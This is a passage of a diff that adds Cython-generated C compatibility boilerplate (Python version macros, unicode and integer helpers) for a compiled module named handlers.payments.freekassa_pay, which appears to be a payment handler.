CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__freekassa_pay +#define __PYX_HAVE_API__handlers__payments__freekassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) 